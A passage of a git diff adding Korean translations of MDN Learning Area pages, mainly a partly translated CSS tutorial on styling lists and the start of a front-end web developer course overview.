+<p>다음 평가는 위의 안내에서 다루는 텍스트 스타일링 기술에 대한 이해를 테스트합니다.</p>
+
+<dl>
+ <dt><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">커뮤니티 스쿨 홈페이지 typesetting</a></dt>
+ <dd>이 평가에서는 커뮤니티 스툴 홈페이지의 텍스트 스타일을 지정함으로써 스타일 텍스트에 대한 이해를 테스트합니다.</dd>
+</dl>
diff --git a/files/ko/learn/css/styling_text/styling_lists/index.html b/files/ko/learn/css/styling_text/styling_lists/index.html
new file mode 100644
index 0000000000..843636c554
--- /dev/null
+++ b/files/ko/learn/css/styling_text/styling_lists/index.html
@@ -0,0 +1,389 @@
+---
+title: 목록 스타일링
+slug: Learn/CSS/Styling_text/Styling_lists
+translation_of: Learn/CSS/Styling_text/Styling_lists
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</div>
+
+<p class="summary"><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">목록</a> 은 대부분 다른 텍스트처럼 작동하지만, 알아야 할 목록과 관련된 몇 가지 CSS 속성과 고려해야 할 모범 사례가 있습니다. 이 기사는 모든 것을 설명합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>Basic computer literacy, HTML basics (study <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), CSS basics (study <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>), <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">CSS text and font fundamentals</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>목록 스타일과 관련된 모범 사례 및 속성에 익숙해지기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="간단한_목록_예제">간단한 목록 예제</h2>
+
+<p>우선, 간단한 목록 예제를 봅시다. 이 기사 전체에서 우리는 순서가 없는, 순서가 있는,  설명 목록을 살펴볼 것입니다 — 모두 유사한 스타일링 기능이 있으며, 일부 유형은 목록 유형과 다릅니다. 스타일이 지정되지 않은 예제는 <a href="http://mdn.github.io/learning-area/css/styling-text/styling-lists/unstyled-list.html">Github 에서 가능</a> 합니다 (<a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/unstyled-list.html">소스 코드</a> 도 확인하십시오.)</p>
+
+<p>목록 예제의 HTML 은 다음과 같습니다:</p>
+
+<pre class="brush: html">&lt;h2&gt;Shopping (unordered) list&lt;/h2&gt;
+
+&lt;p&gt;Paragraph for reference, paragraph for reference, paragraph for reference,
+paragraph for reference, paragraph for reference, paragraph for reference.&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;Hummus&lt;/li&gt;
+  &lt;li&gt;Pita&lt;/li&gt;
+  &lt;li&gt;Green salad&lt;/li&gt;
+  &lt;li&gt;Halloumi&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;h2&gt;Recipe (ordered) list&lt;/h2&gt;
+
+&lt;p&gt;Paragraph for reference, paragraph for reference, paragraph for reference,
+paragraph for reference, paragraph for reference, paragraph for reference.&lt;/p&gt;
+
+&lt;ol&gt;
+  &lt;li&gt;Toast pita, leave to cool, then slice down the edge.&lt;/li&gt;
+  &lt;li&gt;Fry the halloumi in a shallow, non-stick pan, until browned on both sides.&lt;/li&gt;
+  &lt;li&gt;Wash and chop the salad.&lt;/li&gt;
+  &lt;li&gt;Fill pita with salad, hummus, and fried halloumi.&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;h2&gt;Ingredient description list&lt;/h2&gt;
+
+&lt;p&gt;Paragraph for reference, paragraph for reference, paragraph for reference,
+paragraph for reference, paragraph for reference, paragraph for reference.&lt;/p&gt;
+
+&lt;dl&gt;
+  &lt;dt&gt;Hummus&lt;/dt&gt;
+  &lt;dd&gt;A thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.&lt;/dd&gt;
+  &lt;dt&gt;Pita&lt;/dt&gt;
+  &lt;dd&gt;A soft, slightly leavened flatbread.&lt;/dd&gt;
+  &lt;dt&gt;Halloumi&lt;/dt&gt;
+  &lt;dd&gt;A semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.&lt;/dd&gt;
+  &lt;dt&gt;Green salad&lt;/dt&gt;
+  &lt;dd&gt;That green healthy stuff that many of us just use to garnish kebabs.&lt;/dd&gt;
+&lt;/dl&gt;</pre>
+
+<p>If you go to the live example now and investigate the list elements using <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer tools</a>, you'll notice a couple of styling defaults:</p>
+
+<ul>
+ <li>The {{htmlelement("ul")}} and {{htmlelement("ol")}} elements have a top and bottom {{cssxref("margin")}} of <code>16px</code> (<code>1em</code>)  and a {{cssxref("padding-left")}} of <code>40px</code> (<code>2.5em</code>.)</li>
+ <li>The list items ({{htmlelement("li")}} elements) have no set defaults for spacing.</li>
+ <li>The {{htmlelement("dl")}} element has a top and bottom {{cssxref("margin")}} of <code>16px</code> (<code>1em</code>), but no padding set.</li>
+ <li>The {{htmlelement("dd")}} elements have {{cssxref("margin-left")}} of <code>40px</code> (<code>2.5em</code>.)</li>
+ <li>The {{htmlelement("p")}} elements we've included for reference have a top and bottom {{cssxref("margin")}} of <code>16px</code> (<code>1em</code>), the same as the different list types.</li>
+</ul>
+
+<h2 id="Handling_list_spacing">Handling list spacing</h2>
+
+<p>When styling lists, you need to adjust their styles so they keep the same vertical spacing as their surrounding elements (such as paragraphs and images; sometimes called vertical rhythm), and the same horizontal spacing as each other (you can see the <a href="http://mdn.github.io/learning-area/css/styling-text/styling-lists/">finished styled example</a> on Github, and <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/index.html">find the source code</a> too.)</p>
+
+<p>The CSS used for the text styling and spacing is as follows:</p>
+
+<pre class="brush: css">/* General styles */
+
+html {
+  font-family: Helvetica, Arial, sans-serif;
+  font-size: 10px;
+}
+
+h2 {
+  font-size: 2rem;
+}
+
+ul,ol,dl,p {
+  font-size: 1.5rem;
+}
+
+li, p {
+  line-height: 1.5;
+}
+
+/* Description list styles */
+
+
+dd, dt {
+  line-height: 1.5;
+}
+
+dt {
+  font-weight: bold;
+}
+
+dd {
+  margin-bottom: 1.5rem;
+}</pre>
+
+<ul>
+ <li>The first rule sets a sitewide font and a baseline font size of 10px. These are inherited by everything on the page.</li>
+ <li>Rules 2 and 3 set relative font sizes for the headings, different list types (the children of the list elements inherit these), and paragraphs. This means that each paragraph and list will have the same font size and top and bottom spacing, helping to keep the vertical rhythm consistent.</li>
+ <li>Rule 4 sets the same {{cssxref("line-height")}} on the paragraphs and list items — so the paragraphs and each individual list item will have the same spacing between lines. This will also help to keep the vertical rhythm consistent.</li>
+ <li>Rules 5 and 6 apply to the description list — we set the same <code>line-height</code> on the description list terms and descriptions as we did with the paragraphs and list items. Again, consistency is good! We also make the description terms have bold font, so they visually stand out easier.<span id="cke_bm_126E" style="display: none;"> </span></li>
+</ul>
+
+<h2 id="List-specific_styles">List-specific styles</h2>
+
+<p>Now we've looked at general spacing techniques for lists, let's explore some list-specific properties. There are three properties you should know about to start with, which can be set on {{htmlelement("ul")}} or {{htmlelement("ol")}} elements:</p>
+
+<ul>
+ <li>{{cssxref("list-style-type")}}: Sets the type of bullets to use for the list, for example, square or circle bullets for an unordered list, or numbers, letters or roman numerals for an ordered list.</li>
+ <li>{{cssxref("list-style-position")}}: Sets whether the bullets appear inside the list items, or outside them before the start of each item.</li>
+ <li>{{cssxref("list-style-image")}}: Allows you to use a custom image for the bullet, rather than a simple square or circle.</li>
+</ul>
+
+<h3 id="Bullet_styles">Bullet styles</h3>
+
+<p>As mentioned above, the {{cssxref("list-style-type")}} property allows you to set what type of bullet to use for the bullet points. In our example, we've set the ordered list to use uppercase roman numerals, with:</p>
+
+<pre class="brush: css">ol {
+  list-style-type: upper-roman;
+}</pre>
+
+<p>This gives us the following look:</p>
+
+<p><img alt="an ordered list with the bullet points set to appear outside the list item text." src="https://mdn.mozillademos.org/files/12962/outer-bullets.png" style="border-style: solid; border-width: 1px; display: block; height: 119px; margin: 0px auto; width: 376px;"></p>
+
+<p>You can find a lot more options by checking out the {{cssxref("list-style-type")}} reference page.</p>
+
+<h3 id="Bullet_position">Bullet position</h3>
+
+<p>The {{cssxref("list-style-position")}} property sets whether the bullets appear inside the list items, or outside them before the start of each item. The default value is <code>outside</code>, which causes the bullets to sit outside the list items, as seen above.</p>
+
+<p>If you set the value to <code>inside</code>, the bullets will sit inside the lines:</p>
+
+<pre class="brush: css">ol {
+  list-style-type: upper-roman;
+  list-style-position: inside;
+}</pre>
+
+<p><img alt="an ordered list with the bullet points set to appear inside the list item text." src="https://mdn.mozillademos.org/files/12958/inner-bullets.png" style="border-style: solid; border-width: 1px; display: block; height: 123px; margin: 0px auto; width: 370px;"></p>
+
+<h3 id="Using_a_custom_bullet_image">Using a custom bullet image</h3>
+
+<p>The {{cssxref("list-style-image")}} property allows you to use a custom image for your bullet. The syntax is pretty simple:</p>
+
+<pre class="brush: css">ul {
+  list-style-image: url(star.svg);
+}</pre>
+
+<p>However, this property is a bit limited in terms of controlling the position, size, etc. of the bullets. You are better off using the {{cssxref("background")}} family of properties, which you'll learn a lot more about in the <a href="/en-US/docs/Learn/CSS/Styling_boxes">Styling boxes</a> module. For now, here's a taster!</p>
+
+<p>In our finished example, we have styled the unordered list like so (on top of what you've already seen above):</p>
+
+<pre class="brush: css">ul {
+  padding-left: 2rem;
+  list-style-type: none;
+}
+
+ul li {
+  padding-left: 2rem;
+  background-image: url(star.svg);
+  background-position: 0 0;
+  background-size: 1.6rem 1.6rem;
+  background-repeat: no-repeat;
+}</pre>
+
+<p>Here we've done the following:</p>
+
+<ul>
+ <li>Set the {{cssxref("padding-left")}} of the {{htmlelement("ul")}} down from the default <code>40px</code> to <code>20px</code>, then set the same amount on the list items. This is so that overall the list items are still lined up with the order list items and the description list descriptions, but the list items have some padding for the background images to sit inside. If we didn't do this, the background images would overlap with the list item text, which would look messy.</li>
+ <li>Set the {{cssxref("list-style-type")}} to <code>none</code>, so that no bullet appears by default. We're going to use {{cssxref("background")}} properties to handle the bullets instead.</li>
+ <li>Inserted a bullet onto each unordered list item. The relevant properties are as follows:
+  <ul>
+   <li>{{cssxref("background-image")}}: This references the path to the image file you want to use as the bullet.</li>
+   <li>{{cssxref("background-position")}}: This defines where in the background of the selected element the image will appear — in this case we are saying <code>0 0</code>, which means the bullet will appear in the very top left of each list item.</li>
+   <li>{{cssxref("background-size")}}: This sets the size of the background image. We ideally want the bullets to be the same size as the list items (or very slightly smaller or larger). We are using a size of <code>1.6rem</code> (<code>16px</code>), which fits very nicely with the <code>20px</code> padding we've allowed for the bullet to sit inside — 16px plus 4px of space between the bullet and the list item text works well.</li>
+   <li>{{cssxref("background-repeat")}}: By default, background images repeat until they fill up the available background space. We only want one copy of the image inserted in each case, so we set this to a value of <code>no-repeat</code>.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>This gives us the following result:</p>
+
+<p><img alt="an unordered list with the bullet points set as little star images" src="https://mdn.mozillademos.org/files/16226/list_formatting.png" style="border-style: solid; border-width: 1px; display: block; height: 106px; margin: 0px auto; width: 124px;"></p>
+
+<h3 id="list-style_shorthand">list-style shorthand</h3>
+
+<p>The three properties mentioned above can all be set using a single shorthand property, {{cssxref("list-style")}}. For example, the following CSS:</p>
+
+<pre class="brush: css">ul {
+  list-style-type: square;
+  list-style-image: url(example.png);
+  list-style-position: inside;
+}</pre>
+
+<p>Could be replaced by this:</p>
+
+<pre class="brush: css">ul {
+  list-style: square url(example.png) inside;
+}</pre>
+
+<p>The values can be listed in any order, and you can use one, two or all three (the default values used for the properties that are not included are <code>disc</code>, <code>none</code>, and <code>outside</code>). If both a <code>type</code> and an <code>image</code> are specified, the type is used as a fallback if the image can't be loaded for some reason.</p>
+
+<h2 id="Controlling_list_counting">Controlling list counting</h2>
+
+<p>Sometimes you might want to count differently on an ordered list — e.g. starting from a number other than 1, or counting backwards, or counting in steps of more than 1. HTML and CSS have some tools to help you here.</p>
+
+<h3 id="start">start</h3>
+
+<p>The {{htmlattrxref("start","ol")}} attribute allows you to start the list counting from a number other than 1. The following example:</p>
+
+<pre class="brush: html">&lt;ol start="4"&gt;
+  &lt;li&gt;Toast pita, leave to cool, then slice down the edge.&lt;/li&gt;
+  &lt;li&gt;Fry the halloumi in a shallow, non-stick pan, until browned on both sides.&lt;/li&gt;
+  &lt;li&gt;Wash and chop the salad.&lt;/li&gt;
+  &lt;li&gt;Fill pita with salad, hummus, and fried halloumi.&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<p>Gives you this output:</p>
+
+<p>{{ EmbedLiveSample('start', '100%', 150) }}</p>
+
+<h3 id="reversed">reversed</h3>
+
+<p>The {{htmlattrxref("reversed","ol")}} attribute will start the list counting down instead of up. The following example:</p>
+
+<pre class="brush: html">&lt;ol start="4" reversed&gt;
+  &lt;li&gt;Toast pita, leave to cool, then slice down the edge.&lt;/li&gt;
+  &lt;li&gt;Fry the halloumi in a shallow, non-stick pan, until browned on both sides.&lt;/li&gt;
+  &lt;li&gt;Wash and chop the salad.&lt;/li&gt;
+  &lt;li&gt;Fill pita with salad, hummus, and fried halloumi.&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<p>Gives you this output:</p>
+
+<p>{{ EmbedLiveSample('reversed', '100%', 150) }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: If there are more list items in a reversed list than the value of the <code>start</code> attribute, the count will continue to zero and then into negative values. </p>
+</div>
+
+<h3 id="value">value</h3>
+
+<p>The {{htmlattrxref("value","ol")}} attribute allows you to set your list items to specific numerical values. The following example:</p>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li value="2"&gt;Toast pita, leave to cool, then slice down the edge.&lt;/li&gt;
+  &lt;li value="4"&gt;Fry the halloumi in a shallow, non-stick pan, until browned on both sides.&lt;/li&gt;
+  &lt;li value="6"&gt;Wash and chop the salad.&lt;/li&gt;
+  &lt;li value="8"&gt;Fill pita with salad, hummus, and fried halloumi.&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<p>Gives you this output:</p>
+
+<p>{{ EmbedLiveSample('value', '100%', 150) }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: Even if you are using a non-number {{cssxref("list-style-type")}}, you still need to use the equivalent numerical values in the <code>value</code> attribute.</p>
+</div>
+
+<h2 id="Active_learning_Styling_a_nested_list">Active learning: Styling a nested list</h2>
+
+<p>In this active learning session, we want you to take what you've learned above and have a go at styling a nested list. We've provided you with the HTML, and we want you to:</p>
+
+<ol>
+ <li>Give the unordered list square bullets.</li>
+ <li>Give the unordered list items and the ordered list items a line height of 1.5 of their font-size.</li>
+ <li>Give the ordered list lower alphabetical bullets.</li>
+ <li>Feel free to play with the list example as much as you like, experimenting with bullet types, spacing, or whatever else you can find.</li>
+</ol>
+
+<p>If you make a mistake, you can always reset it using the <em>Reset</em> button. If you get really stuck, press the <em>Show solution</em> button to see a potential answer.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"&gt;
+  &lt;h2&gt;HTML Input&lt;/h2&gt;
+  &lt;textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;&lt;ul&gt;
+  &lt;li&gt;First, light the candle.&lt;/li&gt;
+  &lt;li&gt;Next, open the box.&lt;/li&gt;
+  &lt;li&gt;Finally, place the three magic items in the box, in this exact order, to complete the spell:
+    &lt;ol&gt;
+      &lt;li&gt;The book of spells&lt;/li&gt;
+      &lt;li&gt;The shiny rod&lt;/li&gt;
+      &lt;li&gt;The goblin statue&lt;/li&gt;
+    &lt;/ol&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;&lt;/textarea&gt;
+
+  &lt;h2&gt;CSS Input&lt;/h2&gt;
+  &lt;textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;&lt;/textarea&gt;
+
+  &lt;h2&gt;Output&lt;/h2&gt;
+  &lt;div class="output" style="width: 90%;height: 12em;padding: 10px;border: 1px solid #0095dd;overflow: auto;"&gt;&lt;/div&gt;
+  &lt;div class="controls"&gt;
+    &lt;input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"&gt;
+    &lt;input id="solution" type="button" value="Show solution" style="margin: 10px 0 0 10px;"&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: js">var htmlInput = document.querySelector(".html-input");
+var cssInput = document.querySelector(".css-input");
+var reset = document.getElementById("reset");
+var htmlCode = htmlInput.value;
+var cssCode = cssInput.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+var styleElem = document.createElement('style');
+var headElem = document.querySelector('head');
+headElem.appendChild(styleElem);
+
+function drawOutput() {
+  output.innerHTML = htmlInput.value;
+  styleElem.textContent = cssInput.value;
+}
+
+reset.addEventListener("click", function() {
+  htmlInput.value = htmlCode;
+  cssInput.value = cssCode;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+  htmlInput.value = htmlCode;
+  cssInput.value = 'ul {\n  list-style-type: square;\n}\n\nul li, ol li {\n  line-height: 1.5;\n}\n\nol {\n  list-style-type: lower-alpha\n}';
+  drawOutput();
+});
+
+htmlInput.addEventListener("input", drawOutput);
+cssInput.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p>
+
+<h2 id="See_also">See also</h2>
+
+<p>CSS counters provide advanced tools for customizing list counting and styling, but they are quite complex. We recommend looking into these if you want to stretch yourself. See:</p>
+
+<ul>
+ <li>{{cssxref("@counter-style")}}</li>
+ <li>{{cssxref("counter-increment")}}</li>
+ <li>{{cssxref("counter-reset")}}</li>
+</ul>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Lists are relatively easy to get the hang of styling once you know a few associated basic principles and specific properties. In the next article we'll get on to link styling techniques.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</p>
+
+
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Fundamental text and font styling</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Styling lists</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">Styling links</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Web fonts</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Typesetting a community school homepage</a></li>
+</ul>
diff --git a/files/ko/learn/front-end_web_developer/index.html b/files/ko/learn/front-end_web_developer/index.html
new file mode 100644
index 0000000000..0d0ae72a9b
--- /dev/null
+++ b/files/ko/learn/front-end_web_developer/index.html
@@ -0,0 +1,194 @@
+---
+title: Front-end web developer
+slug: Learn/Front-end_web_developer
+translation_of: Learn/Front-end_web_developer
+---
+<p>{{learnsidebar}}</p>
+
+<p>프론트 개발자가 되는 과정에 오신 것을 환영합니다!</p>
+
+<p>여기에서는 프론트 엔드 웹 개발자가 되기 위해 알아야 할 모든 것을 배울수 있는 체계적인 강좌를 제공합니다. 각 섹션을 통해 학습하면서 새로운 기술을 배우거나 기존 기술을 개선하세요. 각 섹션에는 진행하기 전에 잘 이해하고 있는지 확인하기 위한 연습 및 평가가 포함되어 있습니다.</p>
+
+<h2 id="다루는_주제">다루는 주제</h2>
+
+<p>다루는 내용은 다음과 같습니다.</p>
+
+<ul>
+ <li>기본 설정 및 학습 방법에 대한 학습</li>
+ <li>웹 표준 및 모범 사례(예: 접근성 및 브라우저간 호환성)</li>
+ <li>웹 구조와 의미를 제공하는 언어인 HTML</li>
+ <li>웹 페이지 스타일을 지정하는 언어인 CSS</li>
+ <li>웹에서 동적인 기능을 만드는데 사용되는 스크립트 언어인 JavaScript</li>
+ <li>최신 클라이언트 웹 개발을 용이하게 해주는 도구</li>
+</ul>
+
+<p>섹션을 순서대로 살펴볼 수 있지만, 각 섹션은 독립적입니다. 예를들어 이미 HTML을 알고 있는 경우 CSS 섹션으로 건너뛸 수 있습니다.</p>
+
+<h2 id="전제_조건">전제 조건</h2>
+
+<p>이 강좌를 시작하기 위한 사전 지식은 필요하지 않습니다. 최신 웹 브라우저를 실행할 수 있는 컴퓨터, 인터넷 연결, 학습 의지만 있으면 됩니다.</p>
+
+<p>프론트 엔드 웹 개발이 자신에게 적합한지 확실하지 않거나, 더 길고 완전한 과정을 시작하기 전에 부드러운 소개를 원하면 먼저 <a href="/ko/docs/Learn/Getting_started_with_the_web">웹과 함께 시작하기</a> 를 읽어보세요.</p>
+
+<h2 id="도움말_얻기">도움말 얻기</h2>
+
+<p>우리는 가능한 한 편안하게 프론트 엔드 웹 개발을 학습할 수 있도록 노력했습니다. 그러나 무언가를 이해하지 못하거나 일부 코드가 작동하지 않아 학습을 멈추게 될 수 있습니다.</p>
+
+<p>당황하지 마세요. 우리는 초보자든 전문 웹 개발자든 모두 어떤 문제에 막혀 있습니다. <a href="/ko/docs/Learn/Learning_and_getting_help">학습 및 도움말 얻기</a> 문서는 정보를 찾고 도움을 줄 수 있는 일련의 팁을 제공합니다. 그래도 문제가 해결되지 않는다면 <a href="https://discourse.mozilla.org/c/mdn/learn/">Discourse forum</a>에 문제를 게시하세요.</p>
+
+<p>시작합시다. 행운을 빌어요!</p>
+
+<h2 id="학습_과정">학습 과정</h2>
+
+<h3 id="시작하기">시작하기</h3>
+
+<p>완료 시간: 1.5–2 시간</p>
+
+<h4 id="전제_조건_2">전제 조건</h4>
+
+<p>기본적인 컴퓨터 사용 능력 외에는 아무것도 없습니다.</p>
+
+<h4 id="앞으로_나아갈_준비가_되었는지_어떻게_알_수_있나요">앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?</h4>
+
+<p>이 강좌에는 평가가 없습니다. 그러나 건너뛰지 마세요. 강좌의 후반부에 있는 연습문제를 준비하는것도 중요합니다.</p>
+
+<h4 id="가이드">가이드</h4>
+
+<ul>
+ <li><a href="/ko/docs/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치하기</a>— 기본 도구 설정 (15 분 읽기)</li>
+ <li><a href="/ko/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards">웹과 웹 표준에 대한 배경</a> (45 분 읽기)</li>
+ <li><a href="/ko/docs/Learn/Learning_and_getting_help">학습과 도움말 얻기</a> (45 분 읽기)</li>
+</ul>
+
+<h3 id="HTML을_사용한_의미론과_구조">HTML을 사용한 의미론과 구조</h3>
+
+<p>완료 시간: 35–50 시간</p>
+
+<h4 id="전제_조건_3">전제 조건</h4>
+
+<p>기본적인 컴퓨터 활용 능력과 기본적인 웹 개발 환경 외에는 아무것도 없습니다.</p>
+
+<h4 id="앞으로_나아갈_준비가_되었는지_어떻게_알_수_있나요_2">앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?</h4>
+
+<p>각 모듈(교과목 단위)의 평가는 주제에 대한 지식을 테스트하도록 설계되었습니다.<br>
+ 평가를 완료하면 다음 모듈로 이동할 준비가 된 것입니다.</p>
+
+<h4 id="모듈">모듈</h4>
+
+<ul>
+ <li><a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> (15–20 시간 읽기/평가)</li>
+ <li><a href="/ko/docs/Learn/HTML/Multimedia_and_embedding">Multimedia 와 embedding</a> (15–20 시간 읽기/학습)</li>
+ <li><a href="/ko/docs/Learn/HTML/Tables">HTML tables</a> (5–10 시간 읽기/학습)</li>
+</ul>
+
+<h3 id="CSS를_사용한_스타일링_및_레이아웃">CSS를 사용한 스타일링 및 레이아웃</h3>
+
+<p>완료 시간: 90–120 시간</p>
+
+<h4 id="전제조건">전제조건</h4>
+
+<p>CSS를 배우기 전에 기본적인 HTML 지식을 갖고 있는 것이 좋습니다. 최소한 <a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 를 먼저 공부해야 합니다.</p>
+
+<h4 id="앞으로_나아갈_준비가_되었는지_어떻게_알_수_있나요_3">앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?</h4>
+
+<p>각 모듈의 평가는 주제에 대한 지식을 테스트하도록 설계되었습니다.<br>
+ 평가를 완료하면 다음 모듈로 이동할 준비가 된 것입니다.</p>
+
+<h4 id="모듈_2">모듈</h4>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS/First_steps">CSS 첫 번째 단계</a> (10–15 시간 읽기/학습)</li>
+ <li><a href="/ko/docs/Learn/CSS/Building_blocks">CSS 구성 블록</a> (35–45 시간 읽기/학습)</li>
+ <li><a href="/ko/docs/Learn/CSS/Styling_text">텍스트 스타일링</a> (15–20 시간 읽기/학습)</li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout">CSS 레이아웃</a> (30–40 시간 읽기/학습)</li>
+</ul>
+
+<h4 id="추가_자료">추가 자료</h4>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Layout_cookbook">CSS 레이아웃 쿡북</a></li>
+</ul>
+
+<h3 id="JavaScript와의_상호작용">JavaScript와의 상호작용</h3>
+
+<p>완료 시간: 135–185 시간</p>
+
+<h4 id="전제_조건_4">전제 조건</h4>
+
+<p>Javascript를 배우기 전에 기본적인 HTML 지식을 갖고 있는 것이 좋습니다. 최소한 <a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 를 먼저 공부해야 합니다.</p>
+
+<h4 id="앞으로_나아갈_준비가_되었는지_어떻게_알_수_있나요_4">앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?</h4>
+
+<p>각 모듈의 평가는 주제에 대한 지식을 테스트하도록 설계되었습니다.<br>
+ 평가를 완료하면 다음 모듈로 이동할 준비가 된 것입니다.</p>
+
+<h4 id="모듈_3">모듈</h4>
+
+<ul>
+ <li><a href="/ko/docs/Learn/JavaScript/First_steps">JavaScript 첫걸음</a> (30–40 시간 읽기/평가)</li>
+ <li><a href="/ko/docs/Learn/JavaScript/Building_blocks">JavaScript 구성 요소</a> (25–35 시간 읽기/평가)</li>
+ <li><a href="/ko/docs/Learn/JavaScript/Objects">JavaScript 객체 소개</a> (25–35 시간 읽기/평가)</li>
+ <li><a href="/ko/docs/Learn/JavaScript/Client-side_web_APIs">Client-side web APIs</a> (30–40 시간 읽기/평가)</li>
+ <li><a href="/ko/docs/Learn/JavaScript/Asynchronous">비동기 JavaScript</a> (25–35 시간 읽기/평가)</li>
+</ul>
+
+<h3 id="웹_폼_—_유저_데이터_작업">웹 폼 — 유저 데이터 작업</h3>
+
+<p>완료 시간: 40–50 시간</p>
+
+<h4 id="전제_조건_5">전제 조건</h4>
+
+<p>Form에는 HTML, CSS, and JavaScript 지식이 필요합니다. Form 작업의 복잡성을 감안할 때 자주 접하는 내용입니다.</p>
+
+<h4 id="앞으로_나아갈_준비가_되었는지_어떻게_알_수_있나요_5">앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?</h4>
+
+<p>각 모듈의 평가는 주제에 대한 지식을 테스트하도록 설계되었습니다.<br>
+ 평가를 완료하면 다음 모듈로 이동할 준비가 된 것입니다.</p>
+
+<h4 id="모듈_4">모듈</h4>
+
+<ul>
+ <li><a href="/ko/docs/Learn/Forms">HTML 폼 가이드</a>(40–50 시간)</li>
+</ul>
+
+<h3 id="모두를_위한_웹_작동_시키기">모두를 위한 웹 작동 시키기</h3>
+
+<p>완료 시간: 60–75 시간</p>
+
+<h4 id="전제_조건_6">전제 조건</h4>
+
+<p>이 섹션을 진행하기 전에 HTML, CSS, JavaScript를 아는 것이 좋습니다. 많은 기술과 모범 사례(best practices)가 여러 기술에 적용됩니다.</p>
+
+<h4 id="앞으로_나아갈_준비가_되었는지_어떻게_알_수_있나요_6">앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?</h4>
+
+<p>각 모듈의 평가는 주제에 대한 지식을 테스트하도록 설계되었습니다.<br>
+ 평가를 완료하면 다음 모듈로 이동할 준비가 된 것입니다.</p>
+
+<h4 id="모듈_5">모듈</h4>
+
+<ul>
+ <li><a href="/ko/docs/Learn/Tools_and_testing/Cross_browser_testing">크로스 브라우저 테스팅</a> (25–30 시간 읽기/평가)</li>
+ <li><a href="/ko/docs/Learn/Accessibility">접근성</a> (20–25 시간 읽기/평가)</li>
+</ul>
+
+<h3 id="최신_도구">최신 도구</h3>
+
+<p>완료 시간: 55–90 시간</p>
+
+<h4 id="전제_조건_7">전제 조건</h4>
+
+<p>이 섹션을 진행하기 전에 HTML, CSS, JavaScript를 아는 것이 좋습니다. 논의하는 도구들은 이러한 많은 기술과 함께 작동합니다.</p>
+
+<h4 id="앞으로_나아갈_준비가_되었는지_어떻게_알_수_있나요_7">앞으로 나아갈 준비가 되었는지 어떻게 알 수 있나요?</h4>
+
+<p>이 모듈에는 특정 평가가 없습니다. 두 번째, 세 번째 모듈의 끝에 있는 사례 연구 자습서는 최신 도구의 필수 요소를 파악할 수 있도록 준비했습니다.</p>
+
+<h4 id="모듈_6">모듈</h4>
+
+<ul>
+ <li><a href="/ko/docs/Learn/Tools_and_testing/GitHub">Git 과 GitHub</a> (5 hour read)</li>
